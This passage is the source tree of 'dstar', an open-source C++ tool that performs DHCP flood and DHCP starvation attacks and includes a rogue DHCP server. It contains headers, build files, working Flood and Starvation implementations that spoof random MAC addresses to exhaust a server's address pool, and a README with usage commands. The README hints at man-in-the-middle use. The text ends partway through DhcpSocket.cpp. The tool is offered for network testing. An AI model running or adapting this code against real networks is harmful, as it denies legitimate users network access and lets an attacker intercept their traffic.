├── .gitignore
├── .gitmodules
├── include
    ├── Options.h
    ├── PacketInfo.h
    ├── actions
    │   ├── Flood.h
    │   └── Starvation.h
    ├── dstar.h
    ├── DhcpSlot.h
    ├── DhcpPool.h
    ├── DhcpAction.h
    ├── DhcpSocket.h
    └── Core.h
├── CMakeLists.txt
├── src
    ├── actions
    │   ├── Flood.cpp
    │   └── Starvation.cpp
    ├── DhcpPool.cpp
    ├── DhcpSocket.cpp
    ├── main.cpp
    └── Core.cpp
├── README.md
└── LICENSE


/.gitignore:
--------------------------------------------------------------------------------
1 | lib/*
2 | 


--------------------------------------------------------------------------------
/.gitmodules:
--------------------------------------------------------------------------------
1 | [submodule "lib/spark"]
2 | 	path = lib/spark
3 | 	url = https://github.com/jacopodl/spark
4 | [submodule "lib/argsx"]
5 | 	path = lib/argsx
6 | 	url = https://github.com/jacopodl/argsx
7 | 


--------------------------------------------------------------------------------
/include/Options.h:
--------------------------------------------------------------------------------
 1 | #ifndef DSTAR_OPTIONS_H
 2 | #define DSTAR_OPTIONS_H
 3 | 
 4 | #include <string>
 5 | #include <spark.h>
 6 | 
 7 | #define ATKMODE_FLOOD       (1<<0)
 8 | //#define ATKMODE_RELEASE     (1<<1)
 9 | #define ATKMODE_STARVATION  (1<<2)
10 | 
11 | struct Options {
12 |     std::string iface;
13 |     int mode = 0;
14 | 
15 |     bool stop = false;
16 |     bool releaseOnExit = true;
17 |     bool enableServer = false;
18 | 
19 |     // DhcpServerOptions
20 |     unsigned short serverFlags = 0;
21 |     unsigned short lease = 0;
22 |     netaddr_ip gateway{};
23 |     netaddr_ip primaryDns{};
24 | };
25 | 
26 | #endif //DSTAR_OPTIONS_H


--------------------------------------------------------------------------------
/include/PacketInfo.h:
--------------------------------------------------------------------------------
 1 | /*
 2 | 	* dstar
 3 | 	* Copyright (C) 2017 - 2018 Jacopo De Luca
 4 | 	*
 5 | 	* This program is free software: you can redistribute it and/or modify
 6 | 	* it under the terms of the GNU General Public License as published by
 7 | 	* the Free Software Foundation, either version 3 of the License, or
 8 | 	* (at your option) any later version.
 9 | 	* This program is distributed in the hope that it will be useful,
10 | 	* but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | 	* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | 	* GNU General Public License for more details.
13 | 	* You should have received a copy of the GNU General Public License
14 | 	* along with this program. If not, see <http://www.gnu.org/licenses/>.
15 | */
16 | 
17 | #ifndef DSTAR_PACKETINFO_H
18 | #define DSTAR_PACKETINFO_H
19 | 
20 | #include <spark.h>
21 | 
22 | struct PacketInfo {
23 |     netaddr_mac phisAddr;
24 |     netaddr_ip ipSrc;
25 |     netaddr_ip ipDst;
26 |     bool toServer;
27 | };
28 | 
29 | #endif //DSTAR_PACKETINFO_H
30 | 


--------------------------------------------------------------------------------
/include/actions/Flood.h:
--------------------------------------------------------------------------------
 1 | /*
 2 | 	* dstar
 3 | 	* Copyright (C) 2017 - 2018 Jacopo De Luca
 4 | 	*
 5 | 	* This program is free software: you can redistribute it and/or modify
 6 | 	* it under the terms of the GNU General Public License as published by
 7 | 	* the Free Software Foundation, either version 3 of the License, or
 8 | 	* (at your option) any later version.
 9 | 	* This program is distributed in the hope that it will be useful,
10 | 	* but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | 	* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | 	* GNU General Public License for more details.
13 | 	* You should have received a copy of the GNU General Public License
14 | 	* along with this program. If not, see <http://www.gnu.org/licenses/>.
15 | */
16 | 
17 | #ifndef DSTAR_FLOOD_H
18 | #define DSTAR_FLOOD_H
19 | 
20 | #include <DhcpAction.h>
21 | 
22 | class Flood : public virtual DhcpAction {
23 | public:
24 |     Flood(Options *options);
25 | 
26 |     void action(DhcpSocket *socket) override;
27 | };
28 | 
29 | #endif //DSTAR_FLOOD_H
30 | 


--------------------------------------------------------------------------------
/include/dstar.h:
--------------------------------------------------------------------------------
 1 | /*
 2 | 	* dstar
 3 | 	* Copyright (C) 2017 - 2018 Jacopo De Luca
 4 | 	*
 5 | 	* This program is free software: you can redistribute it and/or modify
 6 | 	* it under the terms of the GNU General Public License as published by
 7 | 	* the Free Software Foundation, either version 3 of the License, or
 8 | 	* (at your option) any later version.
 9 | 	* This program is distributed in the hope that it will be useful,
10 | 	* but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | 	* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | 	* GNU General Public License for more details.
13 | 	* You should have received a copy of the GNU General Public License
14 | 	* along with this program. If not, see <http://www.gnu.org/licenses/>.
15 | */
16 | 
17 | #ifndef DSTAR_H
18 | #define DSTAR_H
19 | 
20 | #define NAME "dstar"
21 | 
22 | #define VERSION_TYPE "stable"
23 | #define VERSION_MAJOR 1
24 | #define VERSION_MINOR 0
25 | #define VERSION_PATCH 0
26 | 
27 | void printWelcome();
28 | 
29 | void usage();
30 | 
31 | void sigHandler(int signum);
32 | 
33 | #endif //DSTAR_H
34 | 


--------------------------------------------------------------------------------
/include/DhcpSlot.h:
--------------------------------------------------------------------------------
 1 | /*
 2 | 	* dstar
 3 | 	* Copyright (C) 2017 - 2018 Jacopo De Luca
 4 | 	*
 5 | 	* This program is free software: you can redistribute it and/or modify
 6 | 	* it under the terms of the GNU General Public License as published by
 7 | 	* the Free Software Foundation, either version 3 of the License, or
 8 | 	* (at your option) any later version.
 9 | 	* This program is distributed in the hope that it will be useful,
10 | 	* but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | 	* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | 	* GNU General Public License for more details.
13 | 	* You should have received a copy of the GNU General Public License
14 | 	* along with this program. If not, see <http://www.gnu.org/licenses/>.
15 | */
16 | 
17 | #ifndef DSTAR_DHCPSLOT_H
18 | #define DSTAR_DHCPSLOT_H
19 | 
20 | struct DhcpSlot {
21 |     netaddr_ip clientIp;
22 |     netaddr_mac clientMac;
23 |     netaddr_mac fakeClientMac;
24 |     netaddr_ip serverIp;
25 |     netaddr_mac serverMac;
26 |     netaddr_ip primaryDns;
27 |     timeval timeStamp;
28 |     unsigned int lease;
29 |     unsigned int xid = 0;
30 |     bool assigned = false;
31 | };
32 | 
33 | #endif //DSTAR_DHCPSLOT_H
34 | 


--------------------------------------------------------------------------------
/include/actions/Starvation.h:
--------------------------------------------------------------------------------
 1 | /*
 2 | 	* dstar
 3 | 	* Copyright (C) 2017 - 2018 Jacopo De Luca
 4 | 	*
 5 | 	* This program is free software: you can redistribute it and/or modify
 6 | 	* it under the terms of the GNU General Public License as published by
 7 | 	* the Free Software Foundation, either version 3 of the License, or
 8 | 	* (at your option) any later version.
 9 | 	* This program is distributed in the hope that it will be useful,
10 | 	* but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | 	* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | 	* GNU General Public License for more details.
13 | 	* You should have received a copy of the GNU General Public License
14 | 	* along with this program. If not, see <http://www.gnu.org/licenses/>.
15 | */
16 | 
17 | #ifndef DSTAR_STARVATION_H
18 | #define DSTAR_STARVATION_H
19 | 
20 | #include <DhcpAction.h>
21 | 
22 | class Starvation : public virtual DhcpAction {
23 | private:
24 |     pthread_mutex_t mutex;
25 |     pthread_cond_t cond;
26 |     unsigned int lastXid = 0;
27 | public:
28 |     Starvation(Options *options);
29 | 
30 |     ~Starvation();
31 | 
32 |     void action(DhcpSocket *socket) override;
33 | 
34 |     void recvDhcpMsg(DhcpSocket *socket, DhcpPool *pool, PacketInfo *pktInfo, DhcpPacket *dhcp) override;
35 | };
36 | 
37 | 
38 | #endif //DSTAR_STARVATION_H
39 | 


--------------------------------------------------------------------------------
/include/DhcpPool.h:
--------------------------------------------------------------------------------
 1 | /*
 2 | 	* dstar
 3 | 	* Copyright (C) 2017 - 2018 Jacopo De Luca
 4 | 	*
 5 | 	* This program is free software: you can redistribute it and/or modify
 6 | 	* it under the terms of the GNU General Public License as published by
 7 | 	* the Free Software Foundation, either version 3 of the License, or
 8 | 	* (at your option) any later version.
 9 | 	* This program is distributed in the hope that it will be useful,
10 | 	* but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | 	* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | 	* GNU General Public License for more details.
13 | 	* You should have received a copy of the GNU General Public License
14 | 	* along with this program. If not, see <http://www.gnu.org/licenses/>.
15 | */
16 | 
17 | #ifndef DSTAR_DHCPPOOL_H
18 | #define DSTAR_DHCPPOOL_H
19 | 
20 | #include <list>
21 | #include <mutex>
22 | #include <spark.h>
23 | 
24 | #include <DhcpSlot.h>
25 | 
26 | class DhcpPool {
27 | private:
28 |     std::list<DhcpSlot *> slots;
29 |     std::mutex mutex;
30 | public:
31 |     bool empty();
32 | 
33 |     DhcpSlot *popAndErase();
34 | 
35 |     DhcpSlot *getFreeSlot(netaddr_mac *clientMac, unsigned int newXid);
36 | 
37 |     DhcpSlot *getSlot(netaddr_mac *clientMac, unsigned int xid);
38 | 
39 |     void addSlot(DhcpSlot *slot);
40 | 
41 |     void releaseSlot(netaddr_mac *mac, netaddr_ip *ip);
42 | };
43 | 
44 | 
45 | #endif //DSTAR_DHCPPOOL_H
46 | 


--------------------------------------------------------------------------------
/CMakeLists.txt:
--------------------------------------------------------------------------------
 1 | cmake_minimum_required(VERSION 3.9)
 2 | project(dstar)
 3 | 
 4 | include(ExternalProject)
 5 | 
 6 | set(CMAKE_CXX_STANDARD 11)
 7 | 
 8 | # ARGSX LIBRARY
 9 | set(DEP_ARGSX "argsx")
10 | set(LIB_ARGSX "ArgsX.a")
11 | # SPARK LIBRARY
12 | set(DEP_SPARK "spark")
13 | set(LIB_SPARK "Spark.a")
14 | 
15 | # ARGSX LIBRARY
16 | ExternalProject_Add(${DEP_ARGSX} PREFIX "${PROJECT_SOURCE_DIR}/lib/argsx/" SOURCE_DIR "${PROJECT_SOURCE_DIR}/lib/argsx/" INSTALL_COMMAND "")
17 | ExternalProject_Get_Property(${DEP_ARGSX} source_dir)
18 | include_directories("${source_dir}/include/")
19 | link_directories("${source_dir}/bin/")
20 | 
21 | # SPARK LIBRARY
22 | ExternalProject_Add(${DEP_SPARK} PREFIX "${PROJECT_SOURCE_DIR}/lib/spark/" SOURCE_DIR "${PROJECT_SOURCE_DIR}/lib/spark/" INSTALL_COMMAND "")
23 | ExternalProject_Get_Property(${DEP_SPARK} source_dir)
24 | include_directories("${source_dir}/include/")
25 | link_directories("${source_dir}/bin/")
26 | 
27 | include_directories(include)
28 | set(EXECUTABLE_OUTPUT_PATH "${PROJECT_SOURCE_DIR}/bin")
29 | 
30 | add_executable(dstar src/main.cpp src/Core.cpp src/actions/Flood.cpp src/actions/Starvation.cpp src/DhcpPool.cpp include/DhcpPool.h src/DhcpSocket.cpp include/DhcpSocket.h include/Options.h)
31 | add_dependencies(dstar ${DEP_ARGSX})
32 | add_dependencies(dstar ${DEP_SPARK})
33 | target_link_libraries(dstar pthread)
34 | target_link_libraries(dstar rt)
35 | target_link_libraries(dstar ${LIB_ARGSX})
36 | target_link_libraries(dstar ${LIB_SPARK})


--------------------------------------------------------------------------------
/src/actions/Flood.cpp:
--------------------------------------------------------------------------------
 1 | /*
 2 | 	* dstar
 3 | 	* Copyright (C) 2017 - 2018 Jacopo De Luca
 4 | 	*
 5 | 	* This program is free software: you can redistribute it and/or modify
 6 | 	* it under the terms of the GNU General Public License as published by
 7 | 	* the Free Software Foundation, either version 3 of the License, or
 8 | 	* (at your option) any later version.
 9 | 	* This program is distributed in the hope that it will be useful,
10 | 	* but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | 	* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | 	* GNU General Public License for more details.
13 | 	* You should have received a copy of the GNU General Public License
14 | 	* along with this program. If not, see <http://www.gnu.org/licenses/>.
15 | */
16 | 
17 | #include <actions/Flood.h>
18 | #include <iostream>
19 | 
20 | Flood::Flood(Options *options) : DhcpAction(options) {
21 |     this->waiting = 15000; // us
22 | }
23 | 
24 | void Flood::action(DhcpSocket *socket) {
25 |     DhcpPacket dhcpPacket{};
26 |     PacketInfo pktInfo{};
27 |     netaddr_mac(req);
28 |     int err;
29 | 
30 |     eth_rndaddr(&req);
31 |     eth_bcast(&pktInfo.phisAddr);
32 |     pktInfo.ipDst.ip = 0xFFFFFFFF;
33 |     pktInfo.toServer = true;
34 | 
35 |     dhcp_inject_discovery((unsigned char *) &dhcpPacket, &req, nullptr, DHCP_FLAGS_BROADCAST);
36 |     if ((err = socket->sendDhcpMsg(&dhcpPacket, DHCPPKTSIZE, &pktInfo)) < 0)
37 |         std::cerr << "Flood action: " << spark_strerror(err) << std::endl;
38 | }


--------------------------------------------------------------------------------
/include/DhcpAction.h:
--------------------------------------------------------------------------------
 1 | /*
 2 | 	* dstar
 3 | 	* Copyright (C) 2017 - 2018 Jacopo De Luca
 4 | 	*
 5 | 	* This program is free software: you can redistribute it and/or modify
 6 | 	* it under the terms of the GNU General Public License as published by
 7 | 	* the Free Software Foundation, either version 3 of the License, or
 8 | 	* (at your option) any later version.
 9 | 	* This program is distributed in the hope that it will be useful,
10 | 	* but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | 	* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | 	* GNU General Public License for more details.
13 | 	* You should have received a copy of the GNU General Public License
14 | 	* along with this program. If not, see <http://www.gnu.org/licenses/>.
15 | */
16 | 
17 | #ifndef DSTAR_DHCPACTION_H
18 | #define DSTAR_DHCPACTION_H
19 | 
20 | #include <spark.h>
21 | 
22 | #include <Options.h>
23 | #include <DhcpSocket.h>
24 | #include <DhcpPool.h>
25 | 
26 | class DhcpAction {
27 | protected:
28 |     Options *options;
29 |     unsigned short waiting;
30 | public:
31 |     DhcpAction(Options *options) {
32 |         this->options = options;
33 |     }
34 | 
35 |     virtual ~DhcpAction() = default;
36 | 
37 |     unsigned short getWaitingTime() {
38 |         return this->waiting;
39 |     }
40 | 
41 |     virtual void action(DhcpSocket *socket) = 0;
42 | 
43 |     virtual void recvDhcpMsg(DhcpSocket *socket, DhcpPool *pool, PacketInfo *pktInfo, DhcpPacket *dhcp) {};
44 | };
45 | 
46 | #endif //DSTAR_DHCPACTION_H
47 | 


--------------------------------------------------------------------------------
/include/DhcpSocket.h:
--------------------------------------------------------------------------------
 1 | /*
 2 | 	* dstar
 3 | 	* Copyright (C) 2017 - 2018 Jacopo De Luca
 4 | 	*
 5 | 	* This program is free software: you can redistribute it and/or modify
 6 | 	* it under the terms of the GNU General Public License as published by
 7 | 	* the Free Software Foundation, either version 3 of the License, or
 8 | 	* (at your option) any later version.
 9 | 	* This program is distributed in the hope that it will be useful,
10 | 	* but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | 	* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | 	* GNU General Public License for more details.
13 | 	* You should have received a copy of the GNU General Public License
14 | 	* along with this program. If not, see <http://www.gnu.org/licenses/>.
15 | */
16 | 
17 | #ifndef DSTAR_DHCPSOCKET_H
18 | #define DSTAR_DHCPSOCKET_H
19 | 
20 | #include <string>
21 | #include <spark.h>
22 | 
23 | #include <PacketInfo.h>
24 | #include <DhcpSlot.h>
25 | 
26 | #define SOCK_BUFSIZE    2048
27 | 
28 | class DhcpSocket {
29 | private:
30 |     SpkSock *sock = nullptr;
31 |     unsigned char *buf;
32 | public:
33 |     struct {
34 |         netaddr_ip ipAddr;
35 |         netaddr_ip netMask;
36 |     } netinfo;
37 | 
38 |     DhcpSocket();
39 | 
40 |     ~DhcpSocket();
41 | 
42 |     int recvDhcp(unsigned char *buf, PacketInfo *pktInfo);
43 | 
44 |     int sendDhcpMsg(DhcpPacket *message, unsigned short len, PacketInfo *pktInfo);
45 | 
46 |     void sendDhcpRelease(DhcpSlot *slot);
47 | 
48 |     void openSocket(const std::string &interface);
49 | };
50 | 
51 | 
52 | #endif //DSTAR_DHCPSOCKET_H
53 | 


--------------------------------------------------------------------------------
/include/Core.h:
--------------------------------------------------------------------------------
 1 | /*
 2 | 	* dstar
 3 | 	* Copyright (C) 2017 - 2018 Jacopo De Luca
 4 | 	*
 5 | 	* This program is free software: you can redistribute it and/or modify
 6 | 	* it under the terms of the GNU General Public License as published by
 7 | 	* the Free Software Foundation, either version 3 of the License, or
 8 | 	* (at your option) any later version.
 9 | 	* This program is distributed in the hope that it will be useful,
10 | 	* but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | 	* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | 	* GNU General Public License for more details.
13 | 	* You should have received a copy of the GNU General Public License
14 | 	* along with this program. If not, see <http://www.gnu.org/licenses/>.
15 | */
16 | 
17 | #ifndef DSTAR_CORE_H
18 | #define DSTAR_CORE_H
19 | 
20 | #include <thread>
21 | #include <list>
22 | #include <string>
23 | #include <spark.h>
24 | 
25 | #include <Options.h>
26 | #include <PacketInfo.h>
27 | #include <DhcpAction.h>
28 | #include <DhcpSocket.h>
29 | #include <DhcpPool.h>
30 | #include <DhcpSlot.h>
31 | 
32 | class Core {
33 | private:
34 |     DhcpAction *action;
35 |     std::thread thActions;
36 | 
37 |     void addDhcpDefaultOpt(DhcpPacket *message, DhcpSlot *slot, unsigned char type);
38 | 
39 |     void dhcpServer(DhcpPacket *message);
40 | 
41 |     void executeActions();
42 | 
43 |     void recvDhcp();
44 | 
45 | public:
46 |     DhcpSocket socket;
47 |     DhcpPool pool;
48 |     Options options;
49 | 
50 |     int registerAction();
51 | 
52 |     void openSocket();
53 | 
54 |     void releasePool();
55 | };
56 | 
57 | 
58 | #endif //DSTAR_CORE_H
59 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | ![](https://img.shields.io/badge/Language-C++-orange.svg)
 2 | ![](https://img.shields.io/badge/version-1.0.0-green.svg)
 3 | [![GPLv3 License](https://img.shields.io/badge/License-GPLv3-blue.svg)](http://www.gnu.org/licenses/gpl-3.0.html)
 4 | 
 5 | # Dstar :hammer:
 6 | This tool implement various DHCP attacks and can be used to make experiments and test on __your network__!
 7 | 
 8 | Supported features:
 9 | - Flood -> Flood DHCP server with large amount of DHCP discover messages (this attack does not acquire addresses!)
10 | - Starvation -> Try to acquire all addresses in DHCP pool, you can use this option with a rogue DHCP server... MITM? :smirk:
11 | - Built-in rogue DHCP server
12 | 
13 | # Setting up dstar #
14 | 
15 | First of all getting the code from repository:
16 | 
17 |     $ git clone https://github.com/jacopodl/dstar
18 | 
19 | Compile it with followings command:
20 | 
21 |     $ cd dstar
22 |     $ git submodule init && git submodule update
23 |     $ cmake .
24 |     $ make
25 | 
26 | Or if you are very busy:
27 | 
28 |     $ ./build.sh
29 | 
30 | # Usage example #
31 | Flood DHCP server with discover messages:
32 | 
33 |     $ sudo ./dstar %interface% --flood
34 | 
35 | Exhaust DHCP pool and release all addresses on exit:
36 | 
37 |     $ sudo ./dstar %interface% --starvation
38 | 
39 | without release addresses:
40 | 
41 |     $ sudo ./dstar %interface% --starvation --no-release
42 |     
43 | Setting up rogue DHCP server with the stolen addresses:
44 | 
45 |     $ sudo ./dstar %interface% --starvation --server
46 | 
47 | Getting help with:
48 | 
49 |     $ ./dstar --help
50 |     
51 | # Action snapshot :camera:
52 | 
53 |     $ sudo ./dstar %interface% --starvation
54 | 
55 |     @@@@@@@    @@@@@@   @@@@@@@   @@@@@@   @@@@@@@
56 |     @@@@@@@@  @@@@@@@   @@@@@@@  @@@@@@@@  @@@@@@@@
57 |     @@!  @@@  !@@         @@!    @@!  @@@  @@!  @@@
58 |     !@!  @!@  !@!         !@!    !@!  @!@  !@!  @!@
59 |     @!@  !@!  !!@@!!      @!!    @!@!@!@!  @!@!!@!
60 |     !@!  !!!   !!@!!!     !!!    !!!@!!!!  !!@!@!
61 |     !!:  !!!       !:!    !!:    !!:  !!!  !!: :!!
62 |     :!:  !:!      !:!     :!:    :!:  !:!  :!:  !:!
63 |      :::: ::  :::: ::      ::    ::   :::  ::   :::
64 |     :: :  :   :: : :       :      :   : :   :   : :
65 |                                                      vX.x.x
66 |     
67 |     
68 |     [<---] DHCP DISCOVER
69 |     [--->] DHCP OFFER
70 |     [<---] DHCP REQUEST
71 |     [--->V] DHCP ACK
72 |     	Ip:192.168.1.99 - MAC:52:c5:b9:35:0c:42 lease(s):21600
73 |     
74 |     [<---] DHCP DISCOVER
75 |     [--->] DHCP OFFER
76 |     [<---] DHCP REQUEST
77 |     [--->V] DHCP ACK
78 |     	Ip:192.168.1.118 - MAC:12:3c:09:28:ac:cb lease(s):21600
79 |     
80 |     [<---] DHCP DISCOVER
81 |     ^CStopping...
82 |     Releasing addresses...
83 |     All done!
84 | 
85 | # Possible improvements: #
86 | - Multithread capability
87 | - DHCPv6
88 | 


--------------------------------------------------------------------------------
/src/DhcpPool.cpp:
--------------------------------------------------------------------------------
 1 | /*
 2 | 	* dstar
 3 | 	* Copyright (C) 2017 - 2018 Jacopo De Luca
 4 | 	*
 5 | 	* This program is free software: you can redistribute it and/or modify
 6 | 	* it under the terms of the GNU General Public License as published by
 7 | 	* the Free Software Foundation, either version 3 of the License, or
 8 | 	* (at your option) any later version.
 9 | 	* This program is distributed in the hope that it will be useful,
10 | 	* but WITHOUT ANY WARRANTY; without even the implied warranty of
11 | 	* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
12 | 	* GNU General Public License for more details.
13 | 	* You should have received a copy of the GNU General Public License
14 | 	* along with this program. If not, see <http://www.gnu.org/licenses/>.
15 | */
16 | 
17 | #include <cstring>
18 | #include <sys/time.h>
19 | 
20 | #include <DhcpPool.h>
21 | 
22 | bool DhcpPool::empty() {
23 |     return this->slots.empty();
24 | }
25 | 
26 | DhcpSlot *DhcpPool::popAndErase() {
27 |     DhcpSlot *slot = nullptr;
28 |     this->mutex.lock();
29 |     slot = this->slots.front();
30 |     this->slots.pop_front();
31 |     this->mutex.unlock();
32 |     return slot;
33 | }
34 | 
35 | DhcpSlot *DhcpPool::getFreeSlot(netaddr_mac *clientMac, unsigned int newXid) {
36 |     DhcpSlot *slot = nullptr;
37 |     timeval now{};
38 | 
39 |     gettimeofday(&now, nullptr);
40 | 
41 |     this->mutex.lock();
42 |     for (auto cursor:this->slots) {
43 |         if (cursor->xid == 0) {
44 |             slot = cursor;
45 |             break;
46 |         }
47 |         if (!cursor->assigned) {
48 |             if ((now.tv_sec - cursor->timeStamp.tv_sec) >= 30) {
49 |                 slot = cursor;
50 |                 break;
51 |             }
52 |         } else {
53 |             if ((cursor->timeStamp.tv_sec + cursor->lease) < now.tv_sec) {
54 |                 slot = cursor;
55 |                 break;
56 |             }
57 |         }
58 |     }
59 |     if (slot != nullptr) {
60 |         memcpy(slot->clientMac.mac, clientMac->mac, ETHHWASIZE);
61 |         slot->xid = newXid;
62 |         gettimeofday(&slot->timeStamp, nullptr);
63 |     }
64 |     this->mutex.unlock();
65 |     return slot;
66 | }
67 | 
68 | DhcpSlot *DhcpPool::getSlot(netaddr_mac *clientMac, unsigned int xid) {
69 |     this->mutex.lock();
70 |     for (auto cursor:this->slots) {
71 |         if (cursor->xid == xid && eth_equals(&cursor->clientMac, clientMac)) {
72 |             this->mutex.unlock();
73 |             return cursor;
74 |         }
75 |     }
76 |     this->mutex.unlock();
77 |     return nullptr;
78 | }
79 | 
80 | void DhcpPool::addSlot(DhcpSlot *slot) {
81 |     this->mutex.lock();
82 |     this->slots.push_front(slot);
83 |     this->mutex.unlock();
84 | }
85 | 
86 | void DhcpPool::releaseSlot(netaddr_mac *mac, netaddr_ip *ip) {
87 |     this->mutex.lock();
88 |     for (auto cursor:this->slots)
89 |         if (cursor->assigned && ip_equals(&cursor->clientIp, ip) && eth_equals(&cursor->clientMac, mac)) {
90 |             cursor->xid = 0;
91 |             cursor->assigned = false;
92 |             break;
93 |         }
94 |     this->mutex.unlock();
95 | }


--------------------------------------------------------------------------------
/src/actions/Starvation.cpp:
--------------------------------------------------------------------------------
  1 | /*
  2 | 	* dstar
  3 | 	* Copyright (C) 2017 - 2018 Jacopo De Luca
  4 | 	*
  5 | 	* This program is free software: you can redistribute it and/or modify
  6 | 	* it under the terms of the GNU General Public License as published by
  7 | 	* the Free Software Foundation, either version 3 of the License, or
  8 | 	* (at your option) any later version.
  9 | 	* This program is distributed in the hope that it will be useful,
 10 | 	* but WITHOUT ANY WARRANTY; without even the implied warranty of
 11 | 	* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 12 | 	* GNU General Public License for more details.
 13 | 	* You should have received a copy of the GNU General Public License
 14 | 	* along with this program. If not, see <http://www.gnu.org/licenses/>.
 15 | */
 16 | 
 17 | #include <iostream>
 18 | #include <cstring>
 19 | 
 20 | #include <actions/Starvation.h>
 21 | 
 22 | Starvation::Starvation(Options *options) : DhcpAction(options) {
 23 |     pthread_mutex_init(&this->mutex, nullptr);
 24 |     pthread_cond_init(&this->cond, nullptr);
 25 | }
 26 | 
 27 | Starvation::~Starvation() {
 28 |     pthread_mutex_destroy(&this->mutex);
 29 |     pthread_cond_destroy(&this->cond);
 30 | }
 31 | 
 32 | void Starvation::action(DhcpSocket *socket) {
 33 |     DhcpPacket dhcpPacket{};
 34 |     PacketInfo pktInfo{};
 35 |     timespec maxWaitCond{};
 36 |     netaddr_mac(req);
 37 |     int err;
 38 | 
 39 |     pthread_mutex_lock(&this->mutex);
 40 | 
 41 |     while (this->lastXid != 0) {
 42 |         timespec_get(&maxWaitCond, TIMER_ABSTIME);
 43 |         maxWaitCond.tv_sec += 10;
 44 |         if (pthread_cond_timedwait(&this->cond, &this->mutex, &maxWaitCond) == ETIMEDOUT)
 45 |             this->lastXid = 0;
 46 |     }
 47 | 
 48 |     eth_rndaddr(&req);
 49 |     eth_bcast(&pktInfo.phisAddr);
 50 |     pktInfo.ipDst.ip = 0xFFFFFFFF;
 51 |     pktInfo.toServer = true;
 52 | 
 53 |     dhcp_inject_discovery((unsigned char *) &dhcpPacket, &req, nullptr, DHCP_FLAGS_BROADCAST);
 54 |     if ((err = socket->sendDhcpMsg(&dhcpPacket, DHCPPKTSIZE, &pktInfo)) < 0)
 55 |         std::cerr << "Starvation action: " << spark_strerror(err) << std::endl;
 56 |     else
 57 |         std::cout << "\n[<---] DHCP DISCOVER" << std::endl;
 58 | 
 59 |     lastXid = dhcpPacket.xid;
 60 |     pthread_mutex_unlock(&this->mutex);
 61 | }
 62 | 
 63 | void Starvation::recvDhcpMsg(DhcpSocket *socket, DhcpPool *pool, PacketInfo *pktInfo, DhcpPacket *dhcp) {
 64 |     DhcpPacket packet{};
 65 |     DhcpSlot *slot;
 66 |     char cIp[IPSTRLEN];
 67 |     char cMac[ETHSTRLEN];
 68 |     unsigned char *optPtr;
 69 |     netaddr_mac(chaddr);
 70 |     int err;
 71 |     unsigned char opLen;
 72 | 
 73 |     pthread_mutex_lock(&this->mutex);
 74 | 
 75 |     if (dhcp->xid != this->lastXid) {
 76 |         pthread_mutex_unlock(&this->mutex);
 77 |         return;
 78 |     }
 79 | 
 80 |     memcpy(chaddr.mac, dhcp->chaddr, ETHHWASIZE);
 81 |     pktInfo->ipSrc.ip = dhcp->yiaddr;
 82 |     pktInfo->ipDst.ip = dhcp_get_option_uint(dhcp, DHCP_SERVER_IDENTIFIER);
 83 |     if (ip_isempty(&pktInfo->ipDst))
 84 |         pktInfo->ipDst.ip = dhcp->siaddr;
 85 |     pktInfo->toServer = true;
 86 | 
 87 |     if (dhcp_type_equals(dhcp, DHCP_OFFER)) {
 88 | 
 89 |         std::cout << "[--->] DHCP OFFER" << std::endl;
 90 |         dhcp_inject_request((unsigned char *) &packet,
 91 |                             &chaddr,
 92 |                             &pktInfo->ipSrc,
 93 |                             this->lastXid,
 94 |                             &pktInfo->ipDst,
 95 |                             DHCP_FLAGS_BROADCAST);
 96 |         if ((err = socket->sendDhcpMsg(&packet, DHCPPKTSIZE, pktInfo)) < 0)
 97 |             std::cerr << "Starvation action(request): " << spark_strerror(err) << std::endl;
 98 |         else
 99 |             std::cout << "[<---] DHCP REQUEST" << std::endl;
100 |     } else if (dhcp_type_equals(dhcp, DHCP_ACK)) {
101 |         slot = new DhcpSlot;
102 |         slot->clientIp = pktInfo->ipSrc;
103 |         memcpy(slot->fakeClientMac.mac, dhcp->chaddr, ETHHWASIZE);
104 |         slot->serverIp = pktInfo->ipDst;
105 |         slot->serverMac = pktInfo->phisAddr;
106 | 
107 |         // Get first DNS address
108 |         if ((optPtr = dhcp_get_option_value(dhcp, DHCP_REQ_DNS, &opLen)) != nullptr) {
109 |             slot->primaryDns.ip = *((unsigned int *) optPtr);
110 |             free(optPtr);
111 |         }
112 | 
113 |         slot->lease = ntohl(dhcp_get_option_uint(dhcp, DHCP_ADDR_LEASE_TIME));
114 | 
115 |         std::cout << "[--->V] DHCP ACK\n\tIp: " << ip_getstr_r(&slot->clientIp, cIp)
116 |                   << " - MAC: " << eth_getstr_r(&slot->fakeClientMac, cMac)
117 |                   << " lease(s): " << slot->lease << std::endl;
118 | 
119 |         pool->addSlot(slot);
120 |         this->lastXid = 0;
121 |         pthread_cond_signal(&this->cond);
122 |     } else if (dhcp_type_equals(dhcp, DHCP_NAK))
123 |         std::cout << "[--->X] DHCP NACK" << std::endl;
124 |     pthread_mutex_unlock(&this->mutex);
125 | }


--------------------------------------------------------------------------------
/src/DhcpSocket.cpp:
--------------------------------------------------------------------------------
  1 | /*
  2 | 	* dstar
  3 | 	* Copyright (C) 2017 - 2018 Jacopo De Luca
  4 | 	*
  5 | 	* This program is free software: you can redistribute it and/or modify
